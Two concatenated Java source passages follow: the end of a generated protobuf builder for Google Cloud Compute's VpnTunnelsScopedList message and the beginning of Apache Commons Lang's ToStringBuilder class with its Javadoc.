if (vpnTunnelsBuilder_ == null) {
if (((bitField0_ & 0x00000001) != 0)) {
vpnTunnels_ = java.util.Collections.unmodifiableList(vpnTunnels_);
bitField0_ = (bitField0_ & ~0x00000001);
}
result.vpnTunnels_ = vpnTunnels_;
} else {
result.vpnTunnels_ = vpnTunnelsBuilder_.build();
}
if (((from_bitField0_ & 0x00000002) != 0)) {
if (warningBuilder_ == null) {
result.warning_ = warning_;
} else {
result.warning_ = warningBuilder_.build();
}
to_bitField0_ |= 0x00000001;
}
result.bitField0_ = to_bitField0_;
onBuilt();
return result;
}
@java.lang.Override
public Builder clone() {
return super.clone();
}
@java.lang.Override
public Builder setField(
com.google.protobuf.Descriptors.FieldDescriptor field, java.lang.Object value) {
return super.setField(field, value);
}
@java.lang.Override
public Builder clearField(com.google.protobuf.Descriptors.FieldDescriptor field) {
return super.clearField(field);
}
@java.lang.Override
public Builder clearOneof(com.google.protobuf.Descriptors.OneofDescriptor oneof) {
return super.clearOneof(oneof);
}
@java.lang.Override
public Builder setRepeatedField(
com.google.protobuf.Descriptors.FieldDescriptor field, int index, java.lang.Object value) {
return super.setRepeatedField(field, index, value);
}
@java.lang.Override
public Builder addRepeatedField(
com.google.protobuf.Descriptors.FieldDescriptor field, java.lang.Object value) {
return super.addRepeatedField(field, value);
}
@java.lang.Override
public Builder mergeFrom(com.google.protobuf.Message other) {
if (other instanceof com.google.cloud.compute.v1.VpnTunnelsScopedList) {
return mergeFrom((com.google.cloud.compute.v1.VpnTunnelsScopedList) other);
} else {
super.mergeFrom(other);
return this;
}
}
public Builder mergeFrom(com.google.cloud.compute.v1.VpnTunnelsScopedList other) {
if (other == com.google.cloud.compute.v1.VpnTunnelsScopedList.getDefaultInstance())
return this;
if (vpnTunnelsBuilder_ == null) {
if (!other.vpnTunnels_.isEmpty()) {
if (vpnTunnels_.isEmpty()) {
vpnTunnels_ = other.vpnTunnels_;
bitField0_ = (bitField0_ & ~0x00000001);
} else {
ensureVpnTunnelsIsMutable();
vpnTunnels_.addAll(other.vpnTunnels_);
}
onChanged();
}
} else {
if (!other.vpnTunnels_.isEmpty()) {
if (vpnTunnelsBuilder_.isEmpty()) {
vpnTunnelsBuilder_.dispose();
vpnTunnelsBuilder_ = null;
vpnTunnels_ = other.vpnTunnels_;
bitField0_ = (bitField0_ & ~0x00000001);
vpnTunnelsBuilder_ =
com.google.protobuf.GeneratedMessageV3.alwaysUseFieldBuilders
? getVpnTunnelsFieldBuilder()
: null;
} else {
vpnTunnelsBuilder_.addAllMessages(other.vpnTunnels_);
}
}
}
if (other.hasWarning()) {
mergeWarning(other.getWarning());
}
this.mergeUnknownFields(other.unknownFields);
onChanged();
return this;
}
@java.lang.Override
public final boolean isInitialized() {
return true;
}
@java.lang.Override
public Builder mergeFrom(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
com.google.cloud.compute.v1.VpnTunnelsScopedList parsedMessage = null;
try {
parsedMessage = PARSER.parsePartialFrom(input, extensionRegistry);
} catch (com.google.protobuf.InvalidProtocolBufferException e) {
parsedMessage = (com.google.cloud.compute.v1.VpnTunnelsScopedList) e.getUnfinishedMessage();
throw e.unwrapIOException();
} finally {
if (parsedMessage != null) {
mergeFrom(parsedMessage);
}
}
return this;
}
private int bitField0_;
private java.util.List<com.google.cloud.compute.v1.VpnTunnel> vpnTunnels_ =
java.util.Collections.emptyList();
private void ensureVpnTunnelsIsMutable() {
if (!((bitField0_ & 0x00000001) != 0)) {
vpnTunnels_ = new java.util.ArrayList<com.google.cloud.compute.v1.VpnTunnel>(vpnTunnels_);
bitField0_ |= 0x00000001;
}
}
private com.google.protobuf.RepeatedFieldBuilderV3<
com.google.cloud.compute.v1.VpnTunnel,
com.google.cloud.compute.v1.VpnTunnel.Builder,
com.google.cloud.compute.v1.VpnTunnelOrBuilder>
vpnTunnelsBuilder_;
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public java.util.List<com.google.cloud.compute.v1.VpnTunnel> getVpnTunnelsList() {
if (vpnTunnelsBuilder_ == null) {
return java.util.Collections.unmodifiableList(vpnTunnels_);
} else {
return vpnTunnelsBuilder_.getMessageList();
}
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public int getVpnTunnelsCount() {
if (vpnTunnelsBuilder_ == null) {
return vpnTunnels_.size();
} else {
return vpnTunnelsBuilder_.getCount();
}
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public com.google.cloud.compute.v1.VpnTunnel getVpnTunnels(int index) {
if (vpnTunnelsBuilder_ == null) {
return vpnTunnels_.get(index);
} else {
return vpnTunnelsBuilder_.getMessage(index);
}
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public Builder setVpnTunnels(int index, com.google.cloud.compute.v1.VpnTunnel value) {
if (vpnTunnelsBuilder_ == null) {
if (value == null) {
throw new NullPointerException();
}
ensureVpnTunnelsIsMutable();
vpnTunnels_.set(index, value);
onChanged();
} else {
vpnTunnelsBuilder_.setMessage(index, value);
}
return this;
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public Builder setVpnTunnels(
int index, com.google.cloud.compute.v1.VpnTunnel.Builder builderForValue) {
if (vpnTunnelsBuilder_ == null) {
ensureVpnTunnelsIsMutable();
vpnTunnels_.set(index, builderForValue.build());
onChanged();
} else {
vpnTunnelsBuilder_.setMessage(index, builderForValue.build());
}
return this;
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public Builder addVpnTunnels(com.google.cloud.compute.v1.VpnTunnel value) {
if (vpnTunnelsBuilder_ == null) {
if (value == null) {
throw new NullPointerException();
}
ensureVpnTunnelsIsMutable();
vpnTunnels_.add(value);
onChanged();
} else {
vpnTunnelsBuilder_.addMessage(value);
}
return this;
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public Builder addVpnTunnels(int index, com.google.cloud.compute.v1.VpnTunnel value) {
if (vpnTunnelsBuilder_ == null) {
if (value == null) {
throw new NullPointerException();
}
ensureVpnTunnelsIsMutable();
vpnTunnels_.add(index, value);
onChanged();
} else {
vpnTunnelsBuilder_.addMessage(index, value);
}
return this;
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public Builder addVpnTunnels(com.google.cloud.compute.v1.VpnTunnel.Builder builderForValue) {
if (vpnTunnelsBuilder_ == null) {
ensureVpnTunnelsIsMutable();
vpnTunnels_.add(builderForValue.build());
onChanged();
} else {
vpnTunnelsBuilder_.addMessage(builderForValue.build());
}
return this;
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public Builder addVpnTunnels(
int index, com.google.cloud.compute.v1.VpnTunnel.Builder builderForValue) {
if (vpnTunnelsBuilder_ == null) {
ensureVpnTunnelsIsMutable();
vpnTunnels_.add(index, builderForValue.build());
onChanged();
} else {
vpnTunnelsBuilder_.addMessage(index, builderForValue.build());
}
return this;
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public Builder addAllVpnTunnels(
java.lang.Iterable<? extends com.google.cloud.compute.v1.VpnTunnel> values) {
if (vpnTunnelsBuilder_ == null) {
ensureVpnTunnelsIsMutable();
com.google.protobuf.AbstractMessageLite.Builder.addAll(values, vpnTunnels_);
onChanged();
} else {
vpnTunnelsBuilder_.addAllMessages(values);
}
return this;
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public Builder clearVpnTunnels() {
if (vpnTunnelsBuilder_ == null) {
vpnTunnels_ = java.util.Collections.emptyList();
bitField0_ = (bitField0_ & ~0x00000001);
onChanged();
} else {
vpnTunnelsBuilder_.clear();
}
return this;
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public Builder removeVpnTunnels(int index) {
if (vpnTunnelsBuilder_ == null) {
ensureVpnTunnelsIsMutable();
vpnTunnels_.remove(index);
onChanged();
} else {
vpnTunnelsBuilder_.remove(index);
}
return this;
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public com.google.cloud.compute.v1.VpnTunnel.Builder getVpnTunnelsBuilder(int index) {
return getVpnTunnelsFieldBuilder().getBuilder(index);
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public com.google.cloud.compute.v1.VpnTunnelOrBuilder getVpnTunnelsOrBuilder(int index) {
if (vpnTunnelsBuilder_ == null) {
return vpnTunnels_.get(index);
} else {
return vpnTunnelsBuilder_.getMessageOrBuilder(index);
}
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public java.util.List<? extends com.google.cloud.compute.v1.VpnTunnelOrBuilder>
getVpnTunnelsOrBuilderList() {
if (vpnTunnelsBuilder_ != null) {
return vpnTunnelsBuilder_.getMessageOrBuilderList();
} else {
return java.util.Collections.unmodifiableList(vpnTunnels_);
}
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public com.google.cloud.compute.v1.VpnTunnel.Builder addVpnTunnelsBuilder() {
return getVpnTunnelsFieldBuilder()
.addBuilder(com.google.cloud.compute.v1.VpnTunnel.getDefaultInstance());
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public com.google.cloud.compute.v1.VpnTunnel.Builder addVpnTunnelsBuilder(int index) {
return getVpnTunnelsFieldBuilder()
.addBuilder(index, com.google.cloud.compute.v1.VpnTunnel.getDefaultInstance());
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
public java.util.List<com.google.cloud.compute.v1.VpnTunnel.Builder>
getVpnTunnelsBuilderList() {
return getVpnTunnelsFieldBuilder().getBuilderList();
}
private com.google.protobuf.RepeatedFieldBuilderV3<
com.google.cloud.compute.v1.VpnTunnel,
com.google.cloud.compute.v1.VpnTunnel.Builder,
com.google.cloud.compute.v1.VpnTunnelOrBuilder>
getVpnTunnelsFieldBuilder() {
if (vpnTunnelsBuilder_ == null) {
vpnTunnelsBuilder_ =
new com.google.protobuf.RepeatedFieldBuilderV3<
com.google.cloud.compute.v1.VpnTunnel,
com.google.cloud.compute.v1.VpnTunnel.Builder,
com.google.cloud.compute.v1.VpnTunnelOrBuilder>(
vpnTunnels_, ((bitField0_ & 0x00000001) != 0), getParentForChildren(), isClean());
vpnTunnels_ = null;
}
return vpnTunnelsBuilder_;
}
private com.google.cloud.compute.v1.Warning warning_;
private com.google.protobuf.SingleFieldBuilderV3<
com.google.cloud.compute.v1.Warning,
com.google.cloud.compute.v1.Warning.Builder,
com.google.cloud.compute.v1.WarningOrBuilder>
warningBuilder_;
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*
* @return Whether the warning field is set.
*/
public boolean hasWarning() {
return ((bitField0_ & 0x00000002) != 0);
}
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*
* @return The warning.
*/
public com.google.cloud.compute.v1.Warning getWarning() {
if (warningBuilder_ == null) {
return warning_ == null
? com.google.cloud.compute.v1.Warning.getDefaultInstance()
: warning_;
} else {
return warningBuilder_.getMessage();
}
}
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*/
public Builder setWarning(com.google.cloud.compute.v1.Warning value) {
if (warningBuilder_ == null) {
if (value == null) {
throw new NullPointerException();
}
warning_ = value;
onChanged();
} else {
warningBuilder_.setMessage(value);
}
bitField0_ |= 0x00000002;
return this;
}
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*/
public Builder setWarning(com.google.cloud.compute.v1.Warning.Builder builderForValue) {
if (warningBuilder_ == null) {
warning_ = builderForValue.build();
onChanged();
} else {
warningBuilder_.setMessage(builderForValue.build());
}
bitField0_ |= 0x00000002;
return this;
}
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*/
public Builder mergeWarning(com.google.cloud.compute.v1.Warning value) {
if (warningBuilder_ == null) {
if (((bitField0_ & 0x00000002) != 0)
&& warning_ != null
&& warning_ != com.google.cloud.compute.v1.Warning.getDefaultInstance()) {
warning_ =
com.google.cloud.compute.v1.Warning.newBuilder(warning_)
.mergeFrom(value)
.buildPartial();
} else {
warning_ = value;
}
onChanged();
} else {
warningBuilder_.mergeFrom(value);
}
bitField0_ |= 0x00000002;
return this;
}
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*/
public Builder clearWarning() {
if (warningBuilder_ == null) {
warning_ = null;
onChanged();
} else {
warningBuilder_.clear();
}
bitField0_ = (bitField0_ & ~0x00000002);
return this;
}
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*/
public com.google.cloud.compute.v1.Warning.Builder getWarningBuilder() {
bitField0_ |= 0x00000002;
onChanged();
return getWarningFieldBuilder().getBuilder();
}
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*/
public com.google.cloud.compute.v1.WarningOrBuilder getWarningOrBuilder() {
if (warningBuilder_ != null) {
return warningBuilder_.getMessageOrBuilder();
} else {
return warning_ == null
? com.google.cloud.compute.v1.Warning.getDefaultInstance()
: warning_;
}
}
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*/
private com.google.protobuf.SingleFieldBuilderV3<
com.google.cloud.compute.v1.Warning,
com.google.cloud.compute.v1.Warning.Builder,
com.google.cloud.compute.v1.WarningOrBuilder>
getWarningFieldBuilder() {
if (warningBuilder_ == null) {
warningBuilder_ =
new com.google.protobuf.SingleFieldBuilderV3<
com.google.cloud.compute.v1.Warning,
com.google.cloud.compute.v1.Warning.Builder,
com.google.cloud.compute.v1.WarningOrBuilder>(
getWarning(), getParentForChildren(), isClean());
warning_ = null;
}
return warningBuilder_;
}
@java.lang.Override
public final Builder setUnknownFields(final com.google.protobuf.UnknownFieldSet unknownFields) {
return super.setUnknownFields(unknownFields);
}
@java.lang.Override
public final Builder mergeUnknownFields(
final com.google.protobuf.UnknownFieldSet unknownFields) {
return super.mergeUnknownFields(unknownFields);
}
// @@protoc_insertion_point(builder_scope:google.cloud.compute.v1.VpnTunnelsScopedList)
}
// @@protoc_insertion_point(class_scope:google.cloud.compute.v1.VpnTunnelsScopedList)
private static final com.google.cloud.compute.v1.VpnTunnelsScopedList DEFAULT_INSTANCE;
static {
DEFAULT_INSTANCE = new com.google.cloud.compute.v1.VpnTunnelsScopedList();
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList getDefaultInstance() {
return DEFAULT_INSTANCE;
}
private static final com.google.protobuf.Parser<VpnTunnelsScopedList> PARSER =
new com.google.protobuf.AbstractParser<VpnTunnelsScopedList>() {
@java.lang.Override
public VpnTunnelsScopedList parsePartialFrom(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return new VpnTunnelsScopedList(input, extensionRegistry);
}
};
public static com.google.protobuf.Parser<VpnTunnelsScopedList> parser() {
return PARSER;
}
@java.lang.Override
public com.google.protobuf.Parser<VpnTunnelsScopedList> getParserForType() {
return PARSER;
}
@java.lang.Override
public com.google.cloud.compute.v1.VpnTunnelsScopedList getDefaultInstanceForType() {
return DEFAULT_INSTANCE;
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.lang3.builder;
import org.apache.commons.lang3.ObjectUtils;
/**
* <p>Assists in implementing {@link Object#toString()} methods.</p>
*
* <p>This class enables a good and consistent <code>toString()</code> to be built for any
* class or object. This class aims to simplify the process by:</p>
* <ul>
* <li>allowing field names</li>
* <li>handling all types consistently</li>
* <li>handling nulls consistently</li>
* <li>outputting arrays and multi-dimensional arrays</li>
* <li>enabling the detail level to be controlled for Objects and Collections</li>
* <li>handling class hierarchies</li>
* </ul>
*
* <p>To use this class write code as follows:</p>
*
* <pre>
* public class Person {
* String name;
* int age;
* boolean smoker;
*
* ...
*
* public String toString() {
* return new ToStringBuilder(this).
* append("name", name).
* append("age", age).
* append("smoker", smoker).
* toString();
* }
* }
* </pre>
*
* <p>This will produce a toString of the format:
* <code>Person@7f54[name=Stephen,age=29,smoker=false]</code></p>
*
* <p>To add the superclass <code>toString</code>, use {@link #appendSuper}.
* To append the <code>toString</code> from an object that is delegated
* to (or any other object), use {@link #appendToString}.</p>
*
* <p>Alternatively, there is a method that uses reflection to determine
* the fields to test. Because these fields are usually private, the method,
* <code>reflectionToString</code>, uses <code>AccessibleObject.setAccessible</code> to
* change the visibility of the fields. This will fail under a security manager,
* unless the appropriate permissions are set up correctly. It is also
* slower than testing explicitly.</p>
*
* <p>A typical invocation for this method would look like:</p>
*
* <pre>
* public String toString() {
* return ToStringBuilder.reflectionToString(this);
* }
* </pre>
*
* <p>You can also use the builder to debug 3rd party objects:</p>
*
* <pre>
* System.out.println("An object: " + ToStringBuilder.reflectionToString(anObject));
* </pre>
*
* <p>The exact format of the <code>toString</code> is determined by
* the {@link ToStringStyle} passed into the constructor.</p>
*
* @since 1.0
* @version $Id$
*/
public class ToStringBuilder implements Builder<String> {
/**
* The default style of output to use, not null.
*/
private static volatile ToStringStyle defaultStyle = ToStringStyle.DEFAULT_STYLE;
//----------------------------------------------------------------------------
/**
* <p>Gets the default <code>ToStringStyle</code> to use.</p>
*
* <p>This method gets a singleton default value, typically for the whole JVM.
* Changing this default should generally only be done during application startup.
* It is recommended to pass a <code>ToStringStyle</code> to the constructor instead
* of using this global default.</p>
*
* <p>This method can be used from multiple threads.
* Internally, a <code>volatile</code> variable is used to provide the guarantee
* that the latest value set using {@link #setDefaultStyle} is the value returned.
* It is strongly recommended that the default style is only changed during application startup.</p>
*
* <p>One reason for changing the default could be to have a verbose style during
* development and a compact style in production.</p>
*
* @return the default <code>ToStringStyle</code>, never null
*/
public static ToStringStyle getDefaultStyle() {
return defaultStyle;
}
/**
* <p>Sets the default <code>ToStringStyle</code> to use.</p>
*
* <p>This method sets a singleton default value, typically for the whole JVM.
* Changing this default should generally only be done during application startup.
* It is recommended to pass a <code>ToStringStyle</code> to the constructor instead
* of changing this global default.</p>
*
* <p>This method is not intended for use from multiple threads.
* Internally, a <code>volatile</code> variable is used to provide the guarantee
* that the latest value set is the value returned from {@link #getDefaultStyle}.</p>
*
* @param style the default <code>ToStringStyle</code>
* @throws IllegalArgumentException if the style is <code>null</code>
*/
public static void setDefaultStyle(final ToStringStyle style) {
if (style == null) {
throw new IllegalArgumentException("The style must not be null");
}
defaultStyle = style;
}
//----------------------------------------------------------------------------
/**
* <p>Uses <code>ReflectionToStringBuilder</code> to generate a
* <code>toString</code> for the specified object.</p>
*
* @param object the Object to be output
* @return the String result
* @see ReflectionToStringBuilder#toString(Object)
*/
public static String reflectionToString(final Object object) {
return ReflectionToStringBuilder.toString(object);
}
/**
* <p>Uses <code>ReflectionToStringBuilder</code> to generate a
* <code>toString</code> for the specified object.</p>
*
* @param object the Object to be output
* @param style the style of the <code>toString</code> to create, may be <code>null</code>
* @return the String result
* @see ReflectionToStringBuilder#toString(Object,ToStringStyle)
*/
public static String reflectionToString(final Object object, final ToStringStyle style) {
return ReflectionToStringBuilder.toString(object, style);
}
/**
* <p>Uses <code>ReflectionToStringBuilder</code> to generate a
* <code>toString</code> for the specified object.</p>
*
* @param object the Object to be output
* @param style the style of the <code>toString</code> to create, may be <code>null</code>
* @param outputTransients whether to include transient fields
* @return the String result
* @see ReflectionToStringBuilder#toString(Object,ToStringStyle,boolean)
*/
public static String reflectionToString(final Object object, final ToStringStyle style, final boolean outputTransients) {
return ReflectionToStringBuilder.toString(object, style, outputTransients, false, null);
}
/**
* <p>Uses <code>ReflectionToStringBuilder</code> to generate a
* <code>toString</code> for the specified object.</p>
*
* @param <T> the type of the object
* @param object the Object to be output
* @param style the style of the <code>toString</code> to create, may be <code>null</code>
* @param outputTransients whether to include transient fields
* @param reflectUpToClass the superclass to reflect up to (inclusive), may be <code>null</code>
* @return the String result
* @see ReflectionToStringBuilder#toString(Object,ToStringStyle,boolean,boolean,Class)
* @since 2.0
*/
public static <T> String reflectionToString(
final T object,
final ToStringStyle style,
final boolean outputTransients,
final Class<? super T> reflectUpToClass) {
return ReflectionToStringBuilder.toString(object, style, outputTransients, false, reflectUpToClass);
}
//----------------------------------------------------------------------------
/**
* Current toString buffer, not null.
*/
private final StringBuffer buffer;
/**
* The object being output, may be null.
*/
private final Object object;
/**
* The style of output to use, not null.
*/
private final ToStringStyle style;
/**
* <p>Constructs a builder for the specified object using the default output style.</p>
*
* <p>This default style is obtained from {@link #getDefaultStyle()}.</p>
*
* @param object the Object to build a <code>toString</code> for, not recommended to be null
*/
public ToStringBuilder(final Object object) {
this(object, null, null);
}
/**
* <p>Constructs a builder for the specified object using the a defined output style.</p>
*
* <p>If the style is <code>null</code>, the default style is used.</p>
*
* @param object the Object to build a <code>toString</code> for, not recommended to be null
* @param style the style of the <code>toString</code> to create, null uses the default style
*/
public ToStringBuilder(final Object object, final ToStringStyle style) {
this(object, style, null);
}
/**
* <p>Constructs a builder for the specified object.</p>
*
* <p>If the style is <code>null</code>, the default style is used.</p>
*
* <p>If the buffer is <code>null</code>, a new one is created.</p>
*
* @param object the Object to build a <code>toString</code> for, not recommended to be null
* @param style the style of the <code>toString</code> to create, null uses the default style
* @param buffer the <code>StringBuffer</code> to populate, may be null
*/
public ToStringBuilder(final Object object, ToStringStyle style, StringBuffer buffer) {
if (style == null) {
style = getDefaultStyle();
}
if (buffer == null) {
buffer = new StringBuffer(512);
}
this.buffer = buffer;
this.style = style;
this.object = object;
style.appendStart(buffer, object);
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>boolean</code>
* value.</p>
*
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final boolean value) {
style.append(buffer, null, value);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>boolean</code>
* array.</p>
*
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final boolean[] array) {
style.append(buffer, null, array, null);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>byte</code>
* value.</p>
*
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final byte value) {
style.append(buffer, null, value);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>byte</code>
* array.</p>
*
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final byte[] array) {
style.append(buffer, null, array, null);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>char</code>
* value.</p>
*
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final char value) {
style.append(buffer, null, value);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>char</code>
* array.</p>
*
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final char[] array) {
style.append(buffer, null, array, null);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>double</code>
* value.</p>
*
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final double value) {
style.append(buffer, null, value);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>double</code>
* array.</p>
*
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final double[] array) {
style.append(buffer, null, array, null);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>float</code>
* value.</p>
*
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final float value) {
style.append(buffer, null, value);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>float</code>
* array.</p>
*
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final float[] array) {
style.append(buffer, null, array, null);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> an <code>int</code>
* value.</p>
*
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final int value) {
style.append(buffer, null, value);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> an <code>int</code>
* array.</p>
*
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final int[] array) {
style.append(buffer, null, array, null);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>long</code>
* value.</p>
*
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final long value) {
style.append(buffer, null, value);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>long</code>
* array.</p>
*
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final long[] array) {
style.append(buffer, null, array, null);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> an <code>Object</code>
* value.</p>
*
* @param obj the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final Object obj) {
style.append(buffer, null, obj, null);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> an <code>Object</code>
* array.</p>
*
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final Object[] array) {
style.append(buffer, null, array, null);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>short</code>
* value.</p>
*
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final short value) {
style.append(buffer, null, value);
return this;
}
//----------------------------------------------------------------------------
/**
* <p>Append to the <code>toString</code> a <code>short</code>
* array.</p>
*
* @param array the array to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final short[] array) {
style.append(buffer, null, array, null);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>boolean</code>
* value.</p>
*
* @param fieldName the field name
* @param value the value to add to the <code>toString</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final boolean value) {
style.append(buffer, fieldName, value);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>boolean</code>
* array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>hashCode</code>
* @return this
*/
public ToStringBuilder append(final String fieldName, final boolean[] array) {
style.append(buffer, fieldName, array, null);
return this;
}
/**
* <p>Append to the <code>toString</code> a <code>boolean</code>
* array.</p>
*
* <p>A boolean parameter controls the level of detail to show.
* Setting <code>true</code> will output the array in full. Setting
* <code>false</code> will output a summary, typically the size of
* the array.</p>
*
* @param fieldName the field name
* @param array the array to add to the <code>toString</code>
* @param fullDetail <code>true</code> for detail, <code>false</code>
* for summary info
* @return this
*/
